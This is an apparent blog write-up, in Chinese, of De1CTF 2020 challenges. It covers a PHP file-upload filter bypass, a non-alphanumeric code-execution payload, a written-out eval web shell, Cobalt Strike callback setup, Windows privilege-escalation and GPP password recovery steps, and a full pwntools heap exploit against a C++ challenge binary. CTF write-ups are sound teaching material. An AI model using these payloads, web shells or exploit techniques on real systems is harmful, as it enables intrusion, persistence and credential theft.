avatar

de1ta 2020

web shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
?php
//Clear the uploads directory every hour
highlight_file(__FILE__);
$sandbox = "uploads/". md5("De1CTF2020".$_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);

if($_POST["submit"]){
if (($_FILES["file"]["size"] < 2048) && Check()){
if ($_FILES["file"]["error"] > 0){
die($_FILES["file"]["error"]);
}
else{
$filename=md5($_SERVER['REMOTE_ADDR'])."_".$_FILES["file"]["name"];
move_uploaded_file($_FILES["file"]["tmp_name"], $filename);
echo "save in:" . $sandbox."/" . $filename;
}
}
else{
echo "Not Allow!";
}
}

function Check(){
$BlackExts = array("php");
$ext = explode(".", $_FILES["file"]["name"]);
$exts = trim(end($ext));
$file_content = file_get_contents($_FILES["file"]["tmp_name"]);

if(!preg_match('/[a-z0-9;~^`&|]/is',$file_content) &&
!in_array($exts, $BlackExts) &&
!preg_match('/\.\./',$_FILES["file"]["name"])) {
return true;
}
return false;
}
?>

<html>
<head>
<meta charset="utf-8">
<title>upload</title>
</head>
<body>

<form action="index.php" method="post" enctype="multipart/form-data">
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="submit">
</form>

</body>
</html>

根据规则写好木马,只能写一个任意代码执行的马,可以通过命令执行来写一句话到服务器。

image-20200503155513028

1
2
<?=$_=[]?><?=$_=@"$_"?><?=$_=$_['!'=='@']?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?><?=$____='_'?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$_=$$____?><?=$___($_[_])?>
// _= code

执行来下命令,发现是 windows 的机器,写一句话的时候得转义一下特殊字符。顺便提一嘴找物理路径可以用这个命令 chdir

1
_=echo ^<^?php @eval($_POST[0]);?^>^ > "C:\web\uploads\29e2625c531b2c3c05419025c9e7dea6\3.php"

拿到 webshell 以后肯定是找一个趁手的工具来维持权限和后渗透,而且服务器会每小时清空一次 upload 目录下的文件,所以可以考虑写马到服务器上有写权限的目录,这样方便后续的操作。因为是 windows 的机器,cobalt strike 当然是不二的选择。

说一下渗透环境,因为我在家是连的路由器,在局域网内,直接连我的 ip 还需要在路由器上做端口转发太麻烦了,而且宽带的 ip 不是静态的,有时候会变。

在 vps 启动 teamserver,本地新建一个 listener,listener 的选择话,如果服务器没有杀软,那就随意了,如果现实中的话服务器肯定不会裸奔的,推荐 https 那个,流量都会加密,相对安全一些。而且历史的 cs 3.x 版本有后门特征流量,很容易就识别到,需要我们改一下配置文件。

1
./teamserver ip password

image-20200503160249991

把生成好的木马传到服务器上, cmd 中运行就会弹回一个 sessions。

image-20200503160341882

后渗透

接下来就是想办法提权了,一般的话应该就是 www-data 或者 web 权限。肯定优先 cve 系列提权,那先收集一波信息。

image-20200503161207822

推荐 win-exp-suggester ,这个把它需要的插件装好以后,在目标机器执行,然后把这个 txt 下载回来运行我们的脚本

1
2
systeminfo >> a.txt	
./windows-exploit-suggester.py --database 2020-05-02-mssb.xls --systeminfo a.txt

image-20200503161638152

大概都试了一下,发现不太行。想起来之前用过的 JuicyPotato 这个神器,在输出的 exp 中也有提示目标机器适用(ms16-075)。把 Windows Server 2012 R2 常用的 CLSID.list 都试了一遍都不行。。。此时僵住了一会,能怎么办,那就继续收集信息呗。题目提示 flag 不在这个服务器上,又是 windows 机器, 想起来之前做过的 hackthebox 的题目,nmap 扫描了一下看看端口有没有 smb 服务。结果除了 22 80 什么都没扫到。

在收集的过程中突然发现一个有意思的账号。HintZip_Pass,看字面意思应该有个 zip ?krbtgt 有这个账号,那提权的话可能要拿域控了。

image-20200503163642776

那接下来就要找 zip 文件了,windows 除了 smb 共享,还有 ipc$ ,看了一下 r 盘下有一个 zip 文件。拖回本地发现有密码。

image-20200508232145852

file

搜索了好久盘符下的 *.config,都没有什么有价值的信息。好在谷歌有了新的发现,因为我们之前发现有和 zip 相关的域内账号,很可能这个账号的密码就是压缩包的密码,结合关键字一搜索,发现了 GPP 漏洞。简单点说就是由于域内用户相互信任,会有权限访问这个共享目录,而目录下会账号 hash 过的密码,这个密码我们是可以解密出来的。

1
2
3
4
5
//De1CTF2020.lab/SYSVOL/De1CTF2020.lab/Policies/{B1248E1E-B97D-4C41-8EA4-1F2600F9264B}/Machine/Preferences/Groups/Groups.xml

<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="HintZip_Pass" image="2" changed="2020-04-15 14:43:23" uid="{D33537C1-0BDB-44B7-8628-A6030A298430}"><Properties action="U" newName="" fullName="" description="" cpassword="uYgjj9DCKSxqUp7gZfYzo0F6hOyiYh4VmYBXRAUp+08" changeLogon="1" noChange="0" neverExpires="0" acctDisabled="0" userName="HintZip_Pass"/></User>
</Groups>

image-20200503170142505

image-20200503170218764

pwn stl_container

这个 c++ 写的程序逆向起来真是一言难尽,在 ida 中发现 vector 和 list 读我们的 data 时是先读在一个初始化时申请的堆上,然后在 memcpy 到我们真正申请的堆,这样的话会把初始化的那个堆里面的 \x00 或者其它垃圾数据覆盖到新堆里,可以把它想象成 calloc。这样的话就比较麻烦,漏洞时在 vector 中有 double free。然而我们申请到的堆块未固定大小 0x98,可以考虑泄漏出堆地址,然后错位申请,这样就可以泄漏出 libc,然后打 free_hook 到 system。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
from pwn import *

if __name__ == '__main__':
context.log_level = 'debug'
context.arch = 'amd64'
LOCAL = 1
DEBUG = 0

# functions for quick script
s = lambda data :t.send(str(data))
sa = lambda delim,data :t.sendafter(str(delim), str(data))
sl = lambda data :t.sendline(str(data))
sla = lambda delim,data :t.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :t.recv(numb)
ru = lambda delims, drop=True :t.recvuntil(delims, drop)
rn = lambda numb :t.recvn(numb)
irt = lambda :t.interactive()

# misc functions
uu32 = lambda data :u32(data.ljust(4, b'\0'))
uu64 = lambda data :u64(data.ljust(8, b'\0'))
leak = lambda name,addr :log.success('{} : {:#x}'.format(name, addr))
# x64 below
#16_magic = [0x45216,0x4526a,0xf02a4,0xf1147]
#libc_realloc = 0x846c0

#18_magic = [0x4f2c5,0x4f322,0x10a38c]

if LOCAL:
#t = process('./pwn',env={'LD_PRELOAD':'./libc-2.23.so'})
t = remote('10.211.55.3', 9999)
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
t = remote('134.175.239.26', 8848)
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')




def debug():
raw_input('go?')




sla('>> ', '1')
sla('>> ', '1')
sa('data:', '1234')
sla('>> ', '1')
sla('>> ', '1')
sa('data:', '1234')
sla('>> ', '2')
sla('>> ', '1')
sa('data:', '1234')
sla('>> ', '2')
sla('>> ', '1')
sa('data:', '1234')
sla('>> ', '3')
sla('>> ', '1')
sa('data:', '1234')
sla('>> ', '3')
sla('>> ', '1')
sa('data:', '1234')
sla('>> ', '4')
sla('>> ', '1')
sa('data:', '1234')
sla('>> ', '4')
sla('>> ', '1')
sa('data:', '1234')


#------free list
sla('>> ', '1')
sla('>> ', '2')
sla('index?\n', '1')
sla('>> ', '1')
sla('>> ', '2')
sla('index?\n', '0')




#------free queue
sla('>> ', '3')
sla('>> ', '2')
sla('>> ', '3')
sla('>> ', '2')




#----free stack
sla('>> ', '4')
sla('>> ', '2')
sla('>> ', '4')
sla('>> ', '2')



#------free vector
sla('>> ', '2')
sla('>> ', '2')
sla('index?\n', '1')
sla('>> ', '2')
sla('>> ', '2')
sla('index?\n', '0')



debug()
#---add
poc = '\x20'
poc2 = '/bin/sh\x00'
sla('>> ', '4')
sla('>> ', '1')
sa('data:', poc2)
sla('>> ', '4')
sla('>> ', '1')
sa('data:', poc2)
sla('>> ', '3')
sla('>> ', '1')
sa('data:', poc2)
sla('>> ', '3')
sla('>> ', '1')
sa('data:', poc)
sla('>> ', '2')
sla('>> ', '1')
sa('data:', poc)
sla('>> ', '2')
sla('>> ', '1')
sa('data:', poc)
sla('>> ', '1')
sla('>> ', '1')
sa('data:', poc)
# sla('>> ', '1')
# sla('>> ', '1')
# sa('data:', '\x00')

# vector free(0) free(0)

# queue

sla('>> ', '2')
sla('>> ', '3')
sla('index?\n', '0')
rn(6)
addr_heap = uu64(rn(6)) - 0x12520
leak('addr_heap', addr_heap)
addr_heap0 = addr_heap + 0x12720
sla('>> ', '2')
sla('>> ', '2')
sla('index?\n', '0')
sla('>> ', '2')
sla('>> ', '2')
sla('index?\n', '0')
sla('>> ', '2')
sla('>> ', '1')
sa('data:', p64(addr_heap0 - 0x80))
sla('>> ', '1')
sla('>> ', '1')
sa('data:', cyclic(152))
sla('>> ', '1')
sla('>> ', '3')
sla('index?\n', '1')
rn(158)
addr_libc = uu64(rn(6)) - 96 - 0x10 - 0x3ebc30
leak('addr_libc', addr_libc)


sla('>> ', '2')
sla('>> ', '2')
sla('index?\n', '0')
sla('>> ', '2')
sla('>> ', '1')
sa('data:', p64(addr_libc + 0x3ed8e8))
sla('>> ', '2')
sla('>> ', '1')
sa('data:', p64(addr_libc + 0x4f440))
sla('>> ', '4')
sla('>> ', '2')
irt()
Author: CarlStar
Link: http://yoursite.com/2020/05/11/de1ta/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.

Comment